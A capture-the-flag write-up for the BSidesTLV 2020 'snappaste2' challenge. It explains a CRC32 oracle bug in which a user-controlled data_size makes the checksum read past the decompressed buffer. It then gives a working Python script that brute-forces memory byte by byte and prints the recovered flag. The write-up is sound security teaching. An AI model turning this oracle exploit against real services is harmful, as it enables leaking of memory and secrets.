### CRC32 Oracle
There is an integrity check of decompressed paste data.
```// Make sure nothing went wrongif (crc32(0, paste_received->data, paste_received->data_size) != header->data_crc32) {	throw std::runtime_error("integrity error :(");}```
Because data_size is user-controlled, we can make it larger than actual decompressed data, causing crc32 to calculate checksum past the data boundary.
If crc32 does not match user-supplied checksum value, service throws an error.
We can brute-forcing one byte at a time and use it as an oracle to read memory.
```from pwn import *import requestsimport zlib
s = requests.Session()
url = "https://snappaste2.ctf.bsidestlv.com"
def is_valid(data, suffix):
    data_compressed = zlib.compress(data, 9)
    body = b"" + p32(0) + p32(len(data_compressed)) + p32(len(data)+len(suffix))     body += p32(zlib.crc32(data+suffix), sign="signed")    body += data_compressed
    resp = s.post(url + "/paste", data=body)    return resp.status_code == 200 def pwn():    flag = "A"*37    suffix = ""
    while True:        print(suffix)        for i in range(32, 128):            print(i, chr(i))            if is_valid(flag, chr(i) + suffix):                print("Valid!! ", chr(i))                suffix = chr(i) + suffix                flag = flag[:-1]                break
pwn()
# BSidesTLV2020{N3veR-Tru$t-us3R-iNput!}```